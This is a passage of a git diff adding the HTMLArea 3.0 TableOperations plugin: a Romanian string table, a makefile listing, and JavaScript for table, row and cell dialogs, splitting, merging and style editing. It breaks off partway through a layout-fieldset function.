+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+TableOperations.I18N = {
+       "Align":                                          "Aliniere",
+       "All four sides":                                 "Toate părţile",
+       "Background":                                     "Fundal",
+       "Baseline":                                       "Baseline",
+       "Border":                                         "Chenar",
+       "Borders":                                        "Chenare",
+       "Bottom":                                         "Jos",
+       "CSS Style":                                      "Stil [CSS]",
+       "Caption":                                        "Titlu de tabel",
+       "Cell Properties":                                "Proprietăţile celulei",
+       "Center":                                         "Centru",
+       "Char":                                           "Caracter",
+       "Collapsed borders":                              "Chenare asimilate",
+       "Color":                                          "Culoare",
+       "Description":                                    "Descriere",
+       "FG Color":                                       "Culoare text",
+       "Float":                                          "Poziţie",
+       "Frames":                                         "Chenare",
+       "Height":                                         "Înălţimea",
+       "How many columns would you like to merge?":      "Câte coloane vrei să uneşti?",
+       "How many rows would you like to merge?":         "Câte linii vrei să uneşti?",
+       "Image URL":                                      "URL-ul imaginii",
+       "Justify":                                        "Justify",
+       "Layout":                                         "Aranjament",
+       "Left":                                           "Stânga",
+       "Margin":                                         "Margine",
+       "Middle":                                         "Mijloc",
+       "No rules":                                       "Fără linii",
+       "No sides":                                       "Fără părţi",
+       "None":                                           "Nimic",
+       "Padding":                                        "Spaţiere",
+       "Please click into some cell":                    "Vă rog să daţi click într-o celulă",
+       "Right":                                          "Dreapta",
+       "Row Properties":                                 "Proprietăţile liniei",
+       "Rules will appear between all rows and columns": "Vor apărea linii între toate rândurile şi coloanele",
+       "Rules will appear between columns only":         "Vor apărea doar linii verticale",
+       "Rules will appear between rows only":            "Vor apărea doar linii orizontale",
+       "Rules":                                          "Linii",
+       "Spacing and padding":                            "Spaţierea",
+       "Spacing":                                        "Între celule",
+       "Summary":                                        "Sumar",
+       "TO-cell-delete":                                 "Şterge celula",
+       "TO-cell-insert-after":                           "Inserează o celulă la dreapta",
+       "TO-cell-insert-before":                          "Inserează o celulă la stânga",
+       "TO-cell-merge":                                  "Uneşte celulele",
+       "TO-cell-prop":                                   "Proprietăţile celulei",
+       "TO-cell-split":                                  "Împarte celula",
+       "TO-col-delete":                                  "Şterge coloana",
+       "TO-col-insert-after":                            "Inserează o coloană la dreapta",
+       "TO-col-insert-before":                           "Inserează o coloană la stânga",
+       "TO-col-split":                                   "Împarte coloana",
+       "TO-row-delete":                                  "Şterge rândul",
+       "TO-row-insert-above":                            "Inserează un rând înainte",
+       "TO-row-insert-under":                            "Inserează un rând după",
+       "TO-row-prop":                                    "Proprietăţile rândului",
+       "TO-row-split":                                   "Împarte rândul",
+       "TO-table-prop":                                  "Proprietăţile tabelei",
+       "Table Properties":                               "Proprietăţile tabelei",
+       "Text align":                                     "Aliniere",
+       "The bottom side only":                           "Doar partea de jos",
+       "The left-hand side only":                        "Doar partea din stânga",
+       "The right and left sides only":                  "Partea din stânga şi cea din dreapta",
+       "The right-hand side only":                       "Doar partea din dreapta",
+       "The top and bottom sides only":                  "Partea de sus si cea de jos",
+       "The top side only":                              "Doar partea de sus",
+       "Top":                                            "Sus",        
+       "Unset color":                                    "Dezactivează culoarea",
+       "Vertical align":                                 "Aliniere pe verticală",
+       "Width":                                          "Lăţime",
+       "not-del-last-cell":                              "HTMLArea refuză cu laşitate să şteargă ultima celulă din rând.",
+       "not-del-last-col":                               "HTMLArea refuză cu laşitate să şteargă ultima coloamă din tabela.",
+       "not-del-last-row":                               "HTMLArea refuză cu laşitate să şteargă ultimul rând din tabela.",
+       "percent":                                        "procente",
+       "pixels":                                         "pixeli"
+};
diff --git a/admin/htmlarea/plugins/TableOperations/makefile.xml b/admin/htmlarea/plugins/TableOperations/makefile.xml
new file mode 100755 (executable)
index 0000000..f900fc7
--- /dev/null
@@ -0,0 +1,7 @@
+<files>
+  <file name="*.{js,html,cgi,css}" />
+
+  <dir name="lang" />
+  <dir name="img" />
+</files>
+
diff --git a/admin/htmlarea/plugins/TableOperations/table-operations.js b/admin/htmlarea/plugins/TableOperations/table-operations.js
new file mode 100755 (executable)
index 0000000..316a301
--- /dev/null
@@ -0,0 +1,1160 @@
+// Table Operations Plugin for HTMLArea-3.0
+// Implementation by Mihai Bazon.  Sponsored by http://www.bloki.com
+//
+// htmlArea v3.0 - Copyright (c) 2002 interactivetools.com, inc.
+// This notice MUST stay intact for use (see license.txt).
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon for InteractiveTools.
+//   http://dynarch.com/mishoo
+//
+// $Id: table-operations.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+// Object that will encapsulate all the table operations provided by
+// HTMLArea-3.0 (except "insert table" which is included in the main file)
+function TableOperations(editor) {
+       this.editor = editor;
+
+       var cfg = editor.config;
+       var tt = TableOperations.I18N;
+       var bl = TableOperations.btnList;
+       var self = this;
+
+       // register the toolbar buttons provided by this plugin
+       var toolbar = ["linebreak"];
+       for (var i in bl) {
+               var btn = bl[i];
+               if (!btn) {
+                       toolbar.push("separator");
+               } else {
+                       var id = "TO-" + btn[0];
+                       cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "TableOperations"), false,
+                                          function(editor, id) {
+                                                  // dispatch button press event
+                                                  self.buttonPress(editor, id);
+                                          }, btn[1]);
+                       toolbar.push(id);
+               }
+       }
+
+       // add a new line in the toolbar
+       cfg.toolbar.push(toolbar);
+};
+
+TableOperations._pluginInfo = {
+       name          : "TableOperations",
+       version       : "1.0",
+       developer     : "Mihai Bazon",
+       developer_url : "http://dynarch.com/mishoo/",
+       c_owner       : "Mihai Bazon",
+       sponsor       : "Zapatec Inc.",
+       sponsor_url   : "http://www.bloki.com",
+       license       : "htmlArea"
+};
+
+/************************
+ * UTILITIES
+ ************************/
+
+// retrieves the closest element having the specified tagName in the list of
+// ancestors of the current selection/caret.
+TableOperations.prototype.getClosest = function(tagName) {
+       var editor = this.editor;
+       var ancestors = editor.getAllAncestors();
+       var ret = null;
+       tagName = ("" + tagName).toLowerCase();
+       for (var i in ancestors) {
+               var el = ancestors[i];
+               if (el.tagName.toLowerCase() == tagName) {
+                       ret = el;
+                       break;
+               }
+       }
+       return ret;
+};
+
+// this function requires the file PopupDiv/PopupWin to be loaded from browser
+TableOperations.prototype.dialogTableProperties = function() {
+       var i18n = TableOperations.I18N;
+       // retrieve existing values
+       var table = this.getClosest("table");
+       // this.editor.selectNodeContents(table);
+       // this.editor.updateToolbar();
+
+       var dialog = new PopupWin(this.editor, i18n["Table Properties"], function(dialog, params) {
+               TableOperations.processStyle(params, table);
+               for (var i in params) {
+                       var val = params[i];
+                       switch (i) {
+                           case "f_caption":
+                               if (/\S/.test(val)) {
+                                       // contains non white-space characters
+                                       var caption = table.getElementsByTagName("caption")[0];
+                                       if (!caption) {
+                                               caption = dialog.editor._doc.createElement("caption");
+                                               table.insertBefore(caption, table.firstChild);
+                                       }
+                                       caption.innerHTML = val;
+                               } else {
+                                       // search for caption and delete it if found
+                                       var caption = table.getElementsByTagName("caption")[0];
+                                       if (caption) {
+                                               caption.parentNode.removeChild(caption);
+                                       }
+                               }
+                               break;
+                           case "f_summary":
+                               table.summary = val;
+                               break;
+                           case "f_width":
+                               table.style.width = ("" + val) + params.f_unit;
+                               break;
+                           case "f_align":
+                               table.align = val;
+                               break;
+                           case "f_spacing":
+                               table.cellSpacing = val;
+                               break;
+                           case "f_padding":
+                               table.cellPadding = val;
+                               break;
+                           case "f_borders":
+                               table.border = val;
+                               break;
+                           case "f_frames":
+                               table.frame = val;
+                               break;
+                           case "f_rules":
+                               table.rules = val;
+                               break;
+                       }
+               }
+               // various workarounds to refresh the table display (Gecko,
+               // what's going on?! do not disappoint me!)
+               dialog.editor.forceRedraw();
+               dialog.editor.focusEditor();
+               dialog.editor.updateToolbar();
+               var save_collapse = table.style.borderCollapse;
+               table.style.borderCollapse = "collapse";
+               table.style.borderCollapse = "separate";
+               table.style.borderCollapse = save_collapse;
+       },
+
+       // this function gets called when the dialog needs to be initialized
+       function (dialog) {
+
+               var f_caption = "";
+               var capel = table.getElementsByTagName("caption")[0];
+               if (capel) {
+                       f_caption = capel.innerHTML;
+               }
+               var f_summary = table.summary;
+               var f_width = parseInt(table.style.width);
+               isNaN(f_width) && (f_width = "");
+               var f_unit = /%/.test(table.style.width) ? 'percent' : 'pixels';
+               var f_align = table.align;
+               var f_spacing = table.cellSpacing;
+               var f_padding = table.cellPadding;
+               var f_borders = table.border;
+               var f_frames = table.frame;
+               var f_rules = table.rules;
+
+               function selected(val) {
+                       return val ? " selected" : "";
+               };
+
+               // dialog contents
+               dialog.content.style.width = "400px";
+               dialog.content.innerHTML = " \
+<div class='title'\
+ style='background: url(" + dialog.baseURL + dialog.editor.imgURL("table-prop.gif", "TableOperations") + ") #fff 98% 50% no-repeat'>" + i18n["Table Properties"] + "\
+</div> \
+<table style='width:100%'> \
+  <tr> \
+    <td> \
+      <fieldset><legend>" + i18n["Description"] + "</legend> \
+       <table style='width:100%'> \
+        <tr> \
+          <td class='label'>" + i18n["Caption"] + ":</td> \
+          <td class='value'><input type='text' name='f_caption' value='" + f_caption + "'/></td> \
+        </tr><tr> \
+          <td class='label'>" + i18n["Summary"] + ":</td> \
+          <td class='value'><input type='text' name='f_summary' value='" + f_summary + "'/></td> \
+        </tr> \
+       </table> \
+      </fieldset> \
+    </td> \
+  </tr> \
+  <tr><td id='--HA-layout'></td></tr> \
+  <tr> \
+    <td> \
+      <fieldset><legend>" + i18n["Spacing and padding"] + "</legend> \
+       <table style='width:100%'> \
+"+//        <tr> \
+//           <td class='label'>" + i18n["Width"] + ":</td> \
+//           <td><input type='text' name='f_width' value='" + f_width + "' size='5' /> \
+//             <select name='f_unit'> \
+//               <option value='%'" + selected(f_unit == "percent") + ">" + i18n["percent"] + "</option> \
+//               <option value='px'" + selected(f_unit == "pixels") + ">" + i18n["pixels"] + "</option> \
+//             </select> &nbsp;&nbsp;" + i18n["Align"] + ": \
+//             <select name='f_align'> \
+//               <option value='left'" + selected(f_align == "left") + ">" + i18n["Left"] + "</option> \
+//               <option value='center'" + selected(f_align == "center") + ">" + i18n["Center"] + "</option> \
+//               <option value='right'" + selected(f_align == "right") + ">" + i18n["Right"] + "</option> \
+//             </select> \
+//           </td> \
+//         </tr> \
+"        <tr> \
+          <td class='label'>" + i18n["Spacing"] + ":</td> \
+          <td><input type='text' name='f_spacing' size='5' value='" + f_spacing + "' /> &nbsp;" + i18n["Padding"] + ":\
+            <input type='text' name='f_padding' size='5' value='" + f_padding + "' /> &nbsp;&nbsp;" + i18n["pixels"] + "\
+          </td> \
+        </tr> \
+       </table> \
+      </fieldset> \
+    </td> \
+  </tr> \
+  <tr> \
+    <td> \
+      <fieldset><legend>Frame and borders</legend> \
+        <table width='100%'> \
+          <tr> \
+            <td class='label'>" + i18n["Borders"] + ":</td> \
+            <td><input name='f_borders' type='text' size='5' value='" + f_borders + "' /> &nbsp;&nbsp;" + i18n["pixels"] + "</td> \
+          </tr> \
+          <tr> \
+            <td class='label'>" + i18n["Frames"] + ":</td> \
+            <td> \
+              <select name='f_frames'> \
+                <option value='void'" + selected(f_frames == "void") + ">" + i18n["No sides"] + "</option> \
+                <option value='above'" + selected(f_frames == "above") + ">" + i18n["The top side only"] + "</option> \
+                <option value='below'" + selected(f_frames == "below") + ">" + i18n["The bottom side only"] + "</option> \
+                <option value='hsides'" + selected(f_frames == "hsides") + ">" + i18n["The top and bottom sides only"] + "</option> \
+                <option value='vsides'" + selected(f_frames == "vsides") + ">" + i18n["The right and left sides only"] + "</option> \
+                <option value='lhs'" + selected(f_frames == "lhs") + ">" + i18n["The left-hand side only"] + "</option> \
+                <option value='rhs'" + selected(f_frames == "rhs") + ">" + i18n["The right-hand side only"] + "</option> \
+                <option value='box'" + selected(f_frames == "box") + ">" + i18n["All four sides"] + "</option> \
+              </select> \
+            </td> \
+          </tr> \
+          <tr> \
+            <td class='label'>" + i18n["Rules"] + ":</td> \
+            <td> \
+              <select name='f_rules'> \
+                <option value='none'" + selected(f_rules == "none") + ">" + i18n["No rules"] + "</option> \
+                <option value='rows'" + selected(f_rules == "rows") + ">" + i18n["Rules will appear between rows only"] + "</option> \
+                <option value='cols'" + selected(f_rules == "cols") + ">" + i18n["Rules will appear between columns only"] + "</option> \
+                <option value='all'" + selected(f_rules == "all") + ">" + i18n["Rules will appear between all rows and columns"] + "</option> \
+              </select> \
+            </td> \
+          </tr> \
+        </table> \
+      </fieldset> \
+    </td> \
+  </tr> \
+  <tr> \
+    <td id='--HA-style'></td> \
+  </tr> \
+</table> \
+";
+               var st_prop = TableOperations.createStyleFieldset(dialog.doc, dialog.editor, table);
+               var p = dialog.doc.getElementById("--HA-style");
+               p.appendChild(st_prop);
+               var st_layout = TableOperations.createStyleLayoutFieldset(dialog.doc, dialog.editor, table);
+               p = dialog.doc.getElementById("--HA-layout");
+               p.appendChild(st_layout);
+               dialog.modal = true;
+               dialog.addButtons("ok", "cancel");
+               dialog.showAtElement(dialog.editor._iframe, "c");
+       });
+};
+
+// this function requires the file PopupDiv/PopupWin to be loaded from browser
+TableOperations.prototype.dialogRowCellProperties = function(cell) {
+       var i18n = TableOperations.I18N;
+       // retrieve existing values
+       var element = this.getClosest(cell ? "td" : "tr");
+       var table = this.getClosest("table");
+       // this.editor.selectNodeContents(element);
+       // this.editor.updateToolbar();
+
+       var dialog = new PopupWin(this.editor, i18n[cell ? "Cell Properties" : "Row Properties"], function(dialog, params) {
+               TableOperations.processStyle(params, element);
+               for (var i in params) {
+                       var val = params[i];
+                       switch (i) {
+                           case "f_align":
+                               element.align = val;
+                               break;
+                           case "f_char":
+                               element.ch = val;
+                               break;
+                           case "f_valign":
+                               element.vAlign = val;
+                               break;
+                       }
+               }
+               // various workarounds to refresh the table display (Gecko,
+               // what's going on?! do not disappoint me!)
+               dialog.editor.forceRedraw();
+               dialog.editor.focusEditor();
+               dialog.editor.updateToolbar();
+               var save_collapse = table.style.borderCollapse;
+               table.style.borderCollapse = "collapse";
+               table.style.borderCollapse = "separate";
+               table.style.borderCollapse = save_collapse;
+       },
+
+       // this function gets called when the dialog needs to be initialized
+       function (dialog) {
+
+               var f_align = element.align;
+               var f_valign = element.vAlign;
+               var f_char = element.ch;
+
+               function selected(val) {
+                       return val ? " selected" : "";
+               };
+
+               // dialog contents
+               dialog.content.style.width = "400px";
+               dialog.content.innerHTML = " \
+<div class='title'\
+ style='background: url(" + dialog.baseURL + dialog.editor.imgURL(cell ? "cell-prop.gif" : "row-prop.gif", "TableOperations") + ") #fff 98% 50% no-repeat'>" + i18n[cell ? "Cell Properties" : "Row Properties"] + "</div> \
+<table style='width:100%'> \
+  <tr> \
+    <td id='--HA-layout'> \
+"+//      <fieldset><legend>" + i18n["Layout"] + "</legend> \
+//        <table style='width:100%'> \
+//         <tr> \
+//           <td class='label'>" + i18n["Align"] + ":</td> \
+//           <td> \
+//             <select name='f_align'> \
+//               <option value='left'" + selected(f_align == "left") + ">" + i18n["Left"] + "</option> \
+//               <option value='center'" + selected(f_align == "center") + ">" + i18n["Center"] + "</option> \
+//               <option value='right'" + selected(f_align == "right") + ">" + i18n["Right"] + "</option> \
+//               <option value='char'" + selected(f_align == "char") + ">" + i18n["Char"] + "</option> \
+//             </select> \
+//             &nbsp;&nbsp;" + i18n["Char"] + ": \
+//             <input type='text' style='font-family: monospace; text-align: center' name='f_char' size='1' value='" + f_char + "' /> \
+//           </td> \
+//         </tr><tr> \
+//           <td class='label'>" + i18n["Vertical align"] + ":</td> \
+//           <td> \
+//             <select name='f_valign'> \
+//               <option value='top'" + selected(f_valign == "top") + ">" + i18n["Top"] + "</option> \
+//               <option value='middle'" + selected(f_valign == "middle") + ">" + i18n["Middle"] + "</option> \
+//               <option value='bottom'" + selected(f_valign == "bottom") + ">" + i18n["Bottom"] + "</option> \
+//               <option value='baseline'" + selected(f_valign == "baseline") + ">" + i18n["Baseline"] + "</option> \
+//             </select> \
+//           </td> \
+//         </tr> \
+//        </table> \
+//       </fieldset> \
+"    </td> \
+  </tr> \
+  <tr> \
+    <td id='--HA-style'></td> \
+  </tr> \
+</table> \
+";
+               var st_prop = TableOperations.createStyleFieldset(dialog.doc, dialog.editor, element);
+               var p = dialog.doc.getElementById("--HA-style");
+               p.appendChild(st_prop);
+               var st_layout = TableOperations.createStyleLayoutFieldset(dialog.doc, dialog.editor, element);
+               p = dialog.doc.getElementById("--HA-layout");
+               p.appendChild(st_layout);
+               dialog.modal = true;
+               dialog.addButtons("ok", "cancel");
+               dialog.showAtElement(dialog.editor._iframe, "c");
+       });
+};
+
+// this function gets called when some button from the TableOperations toolbar
+// was pressed.
+TableOperations.prototype.buttonPress = function(editor, button_id) {
+       this.editor = editor;
+       var mozbr = HTMLArea.is_gecko ? "<br />" : "";
+       var i18n = TableOperations.I18N;
+
+       // helper function that clears the content in a table row
+       function clearRow(tr) {
+               var tds = tr.getElementsByTagName("td");
+               for (var i = tds.length; --i >= 0;) {
+                       var td = tds[i];
+                       td.rowSpan = 1;
+                       td.innerHTML = mozbr;
+               }
+       };
+
+       function splitRow(td) {
+               var n = parseInt("" + td.rowSpan);
+               var nc = parseInt("" + td.colSpan);
+               td.rowSpan = 1;
+               tr = td.parentNode;
+               var itr = tr.rowIndex;
+               var trs = tr.parentNode.rows;
+               var index = td.cellIndex;
+               while (--n > 0) {
+                       tr = trs[++itr];
+                       var otd = editor._doc.createElement("td");
+                       otd.colSpan = td.colSpan;
+                       otd.innerHTML = mozbr;
+                       tr.insertBefore(otd, tr.cells[index]);
+               }
+               editor.forceRedraw();
+               editor.updateToolbar();
+       };
+
+       function splitCol(td) {
+               var nc = parseInt("" + td.colSpan);
+               td.colSpan = 1;
+               tr = td.parentNode;
+               var ref = td.nextSibling;
+               while (--nc > 0) {
+                       var otd = editor._doc.createElement("td");
+                       otd.rowSpan = td.rowSpan;
+                       otd.innerHTML = mozbr;
+                       tr.insertBefore(otd, ref);
+               }
+               editor.forceRedraw();
+               editor.updateToolbar();
+       };
+
+       function splitCell(td) {
+               var nc = parseInt("" + td.colSpan);
+               splitCol(td);
+               var items = td.parentNode.cells;
+               var index = td.cellIndex;
+               while (nc-- > 0) {
+                       splitRow(items[index++]);
+               }
+       };
+
+       function selectNextNode(el) {
+               var node = el.nextSibling;
+               while (node && node.nodeType != 1) {
+                       node = node.nextSibling;
+               }
+               if (!node) {
+                       node = el.previousSibling;
+                       while (node && node.nodeType != 1) {
+                               node = node.previousSibling;
+                       }
+               }
+               if (!node) {
+                       node = el.parentNode;
+               }
+               editor.selectNodeContents(node);
+       };
+
+       switch (button_id) {
+               // ROWS
+
+           case "TO-row-insert-above":
+           case "TO-row-insert-under":
+               var tr = this.getClosest("tr");
+               if (!tr) {
+                       break;
+               }
+               var otr = tr.cloneNode(true);
+               clearRow(otr);
+               tr.parentNode.insertBefore(otr, /under/.test(button_id) ? tr.nextSibling : tr);
+               editor.forceRedraw();
+               editor.focusEditor();
+               break;
+           case "TO-row-delete":
+               var tr = this.getClosest("tr");
+               if (!tr) {
+                       break;
+               }
+               var par = tr.parentNode;
+               if (par.rows.length == 1) {
+                       alert(i18n["not-del-last-row"]);
+                       break;
+               }
+               // set the caret first to a position that doesn't
+               // disappear.
+               selectNextNode(tr);
+               par.removeChild(tr);
+               editor.forceRedraw();
+               editor.focusEditor();
+               editor.updateToolbar();
+               break;
+           case "TO-row-split":
+               var td = this.getClosest("td");
+               if (!td) {
+                       break;
+               }
+               splitRow(td);
+               break;
+
+               // COLUMNS
+
+           case "TO-col-insert-before":
+           case "TO-col-insert-after":
+               var td = this.getClosest("td");
+               if (!td) {
+                       break;
+               }
+               var rows = td.parentNode.parentNode.rows;
+               var index = td.cellIndex;
+               for (var i = rows.length; --i >= 0;) {
+                       var tr = rows[i];
+                       var ref = tr.cells[index + (/after/.test(button_id) ? 1 : 0)];
+                       var otd = editor._doc.createElement("td");
+                       otd.innerHTML = mozbr;
+                       tr.insertBefore(otd, ref);
+               }
+               editor.focusEditor();
+               break;
+           case "TO-col-split":
+               var td = this.getClosest("td");
+               if (!td) {
+                       break;
+               }
+               splitCol(td);
+               break;
+           case "TO-col-delete":
+               var td = this.getClosest("td");
+               if (!td) {
+                       break;
+               }
+               var index = td.cellIndex;
+               if (td.parentNode.cells.length == 1) {
+                       alert(i18n["not-del-last-col"]);
+                       break;
+               }
+               // set the caret first to a position that doesn't disappear
+               selectNextNode(td);
+               var rows = td.parentNode.parentNode.rows;
+               for (var i = rows.length; --i >= 0;) {
+                       var tr = rows[i];
+                       tr.removeChild(tr.cells[index]);
+               }
+               editor.forceRedraw();
+               editor.focusEditor();
+               editor.updateToolbar();
+               break;
+
+               // CELLS
+
+           case "TO-cell-split":
+               var td = this.getClosest("td");
+               if (!td) {
+                       break;
+               }
+               splitCell(td);
+               break;
+           case "TO-cell-insert-before":
+           case "TO-cell-insert-after":
+               var td = this.getClosest("td");
+               if (!td) {
+                       break;
+               }
+               var tr = td.parentNode;
+               var otd = editor._doc.createElement("td");
+               otd.innerHTML = mozbr;
+               tr.insertBefore(otd, /after/.test(button_id) ? td.nextSibling : td);
+               editor.forceRedraw();
+               editor.focusEditor();
+               break;
+           case "TO-cell-delete":
+               var td = this.getClosest("td");
+               if (!td) {
+                       break;
+               }
+               if (td.parentNode.cells.length == 1) {
+                       alert(i18n["not-del-last-cell"]);
+                       break;
+               }
+               // set the caret first to a position that doesn't disappear
+               selectNextNode(td);
+               td.parentNode.removeChild(td);
+               editor.forceRedraw();
+               editor.updateToolbar();
+               break;
+           case "TO-cell-merge":
+               // !! FIXME: Mozilla specific !!
+               var sel = editor._getSelection();
+               var range, i = 0;
+               var rows = [];
+               var row = null;
+               var cells = null;
+               if (!HTMLArea.is_ie) {
+                       try {
+                               while (range = sel.getRangeAt(i++)) {
+                                       var td = range.startContainer.childNodes[range.startOffset];
+                                       if (td.parentNode != row) {
+                                               row = td.parentNode;
+                                               (cells) && rows.push(cells);
+                                               cells = [];
+                                       }
+                                       cells.push(td);
+                               }
+                       } catch(e) {/* finished walking through selection */}
+                       rows.push(cells);
+               } else {
+                       // Internet Explorer "browser"
+                       var td = this.getClosest("td");
+                       if (!td) {
+                               alert(i18n["Please click into some cell"]);
+                               break;
+                       }
+                       var tr = td.parentElement;
+                       var no_cols = prompt(i18n["How many columns would you like to merge?"], 2);
+                       if (!no_cols) {
+                               // cancelled
+                               break;
+                       }
+                       var no_rows = prompt(i18n["How many rows would you like to merge?"], 2);
+                       if (!no_rows) {
+                               // cancelled
+                               break;
+                       }
+                       var cell_index = td.cellIndex;
+                       while (no_rows-- > 0) {
+                               td = tr.cells[cell_index];
+                               cells = [td];
+                               for (var i = 1; i < no_cols; ++i) {
+                                       td = td.nextSibling;
+                                       if (!td) {
+                                               break;
+                                       }
+                                       cells.push(td);
+                               }
+                               rows.push(cells);
+                               tr = tr.nextSibling;
+                               if (!tr) {
+                                       break;
+                               }
+                       }
+               }
+               var HTML = "";
+               for (i = 0; i < rows.length; ++i) {
+                       // i && (HTML += "<br />");
+                       var cells = rows[i];
+                       for (var j = 0; j < cells.length; ++j) {
+                               // j && (HTML += "&nbsp;");
+                               var cell = cells[j];
+                               HTML += cell.innerHTML;
+                               (i || j) && (cell.parentNode.removeChild(cell));
+                       }
+               }
+               var td = rows[0][0];
+               td.innerHTML = HTML;
+               td.rowSpan = rows.length;
+               td.colSpan = rows[0].length;
+               editor.selectNodeContents(td);
+               editor.forceRedraw();
+               editor.focusEditor();
+               break;
+
+               // PROPERTIES
+
+           case "TO-table-prop":
+               this.dialogTableProperties();
+               break;
+
+           case "TO-row-prop":
+               this.dialogRowCellProperties(false);
+               break;
+
+           case "TO-cell-prop":
+               this.dialogRowCellProperties(true);
+               break;
+
+           default:
+               alert("Button [" + button_id + "] not yet implemented");
+       }
+};
+
+// the list of buttons added by this plugin
+TableOperations.btnList = [
+       // table properties button
+       ["table-prop",       "table"],
+       null,                   // separator
+
+       // ROWS
+       ["row-prop",         "tr"],
+       ["row-insert-above", "tr"],
+       ["row-insert-under", "tr"],
+       ["row-delete",       "tr"],
+       ["row-split",        "td[rowSpan!=1]"],
+       null,
+
+       // COLS
+       ["col-insert-before", "td"],
+       ["col-insert-after",  "td"],
+       ["col-delete",        "td"],
+       ["col-split",         "td[colSpan!=1]"],
+       null,
+
+       // CELLS
+       ["cell-prop",          "td"],
+       ["cell-insert-before", "td"],
+       ["cell-insert-after",  "td"],
+       ["cell-delete",        "td"],
+       ["cell-merge",         "tr"],
+       ["cell-split",         "td[colSpan!=1,rowSpan!=1]"]
+       ];
+
+
+
+//// GENERIC CODE [style of any element; this should be moved into a separate
+//// file as it'll be very useful]
+//// BEGIN GENERIC CODE -----------------------------------------------------
+
+TableOperations.getLength = function(value) {
+       var len = parseInt(value);
+       if (isNaN(len)) {
+               len = "";
+       }
+       return len;
+};
+
+// Applies the style found in "params" to the given element.
+TableOperations.processStyle = function(params, element) {
+       var style = element.style;
+       for (var i in params) {
+               var val = params[i];
+               switch (i) {
+                   case "f_st_backgroundColor":
+                       style.backgroundColor = val;
+                       break;
+                   case "f_st_color":
+                       style.color = val;
+                       break;
+                   case "f_st_backgroundImage":
+                       if (/\S/.test(val)) {
+                               style.backgroundImage = "url(" + val + ")";
+                       } else {
+                               style.backgroundImage = "none";
+                       }
+                       break;
+                   case "f_st_borderWidth":
+                       style.borderWidth = val;
+                       break;
+                   case "f_st_borderStyle":
+                       style.borderStyle = val;
+                       break;
+                   case "f_st_borderColor":
+                       style.borderColor = val;
+                       break;
+                   case "f_st_borderCollapse":
+                       style.borderCollapse = val ? "collapse" : "";
+                       break;
+                   case "f_st_width":
+                       if (/\S/.test(val)) {
+                               style.width = val + params["f_st_widthUnit"];
+                       } else {
+                               style.width = "";
+                       }
+                       break;
+                   case "f_st_height":
+                       if (/\S/.test(val)) {
+                               style.height = val + params["f_st_heightUnit"];
+                       } else {
+                               style.height = "";
+                       }
+                       break;
+                   case "f_st_textAlign":
+                       if (val == "char") {
+                               var ch = params["f_st_textAlignChar"];
+                               if (ch == '"') {
+                                       ch = '\\"';
+                               }
+                               style.textAlign = '"' + ch + '"';
+                       } else {
+                               style.textAlign = val;
+                       }
+                       break;
+                   case "f_st_verticalAlign":
+                       style.verticalAlign = val;
+                       break;
+                   case "f_st_float":
+                       style.cssFloat = val;
+                       break;
+//                 case "f_st_margin":
+//                     style.margin = val + "px";
+//                     break;
+//                 case "f_st_padding":
+//                     style.padding = val + "px";
+//                     break;
+               }
+       }
+};
+
+// Returns an HTML element for a widget that allows color selection.  That is,
+// a button that contains the given color, if any, and when pressed will popup
+// the sooner-or-later-to-be-rewritten select_color.html dialog allowing user
+// to select some color.  If a color is selected, an input field with the name
+// "f_st_"+name will be updated with the color value in #123456 format.
+TableOperations.createColorButton = function(doc, editor, color, name) {
+       if (!color) {
+               color = "";
+       } else if (!/#/.test(color)) {
+               color = HTMLArea._colorToRgb(color);
+       }
+
+       var df = doc.createElement("span");
+       var field = doc.createElement("input");
+       field.type = "hidden";
+       df.appendChild(field);
+       field.name = "f_st_" + name;
+       field.value = color;
+       var button = doc.createElement("span");
+       button.className = "buttonColor";
+       df.appendChild(button);
+       var span = doc.createElement("span");
+       span.className = "chooser";
+       // span.innerHTML = "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
+       span.style.backgroundColor = color;
+       button.appendChild(span);
+       button.onmouseover = function() { if (!this.disabled) { this.className += " buttonColor-hilite"; }};
+       button.onmouseout = function() { if (!this.disabled) { this.className = "buttonColor"; }};
+       span.onclick = function() {
+               if (this.parentNode.disabled) {
+                       return false;
+               }
+               editor._popupDialog("select_color.html", function(color) {
+                       if (color) {
+                               span.style.backgroundColor = "#" + color;
+                               field.value = "#" + color;
+                       }
+               }, color);
+       };
+       var span2 = doc.createElement("span");
+       span2.innerHTML = "&#x00d7;";
+       span2.className = "nocolor";
+       span2.title = TableOperations.I18N["Unset color"];
+       button.appendChild(span2);
+       span2.onmouseover = function() { if (!this.parentNode.disabled) { this.className += " nocolor-hilite"; }};
+       span2.onmouseout = function() { if (!this.parentNode.disabled) { this.className = "nocolor"; }};
+       span2.onclick = function() {
+               span.style.backgroundColor = "";
+               field.value = "";
+       };
+       return df;
+};
+
+TableOperations.createStyleLayoutFieldset = function(doc, editor, el) {
+       var i18n = TableOperations.I18N;
+       var fieldset = doc.createElement("fieldset");
+       var legend = doc.createElement("legend");
+       fieldset.appendChild(legend);
+       legend.innerHTML = i18n["Layout"];
+       var table = doc.createElement("table");
+       fieldset.appendChild(table);
+       table.style.width = "100%";
+       var tbody = doc.createElement("tbody");
+       table.appendChild(tbody);
+
+       var tagname = el.tagName.toLowerCase();
+       var tr, td, input, select, option, options, i;
+
+       if (tagname != "td" && tagname != "tr" && tagname != "th") {
+               tr = doc.createElement("tr");
+               tbody.appendChild(tr);
+               td = doc.createElement("td");
+               td.className = "label";
+               tr.appendChild(td);
+               td.innerHTML = i18n["Float"] + ":";
+               td = doc.createElement("td");
+               tr.appendChild(td);
+               select = doc.createElement("select");
+               td.appendChild(select);
+               select.name = "f_st_float";
+               options = ["None", "Left", "Right"];
+               for (i in options) {
+                       var Val = options[i];
+                       var val = options[i].toLowerCase();
+                       option = doc.createElement("option");
+                       option.innerHTML = i18n[Val];
+                       option.value = val;
+                       option.selected = (("" + el.style.cssFloat).toLowerCase() == val);
+                       select.appendChild(option);
+               }
+       }
+
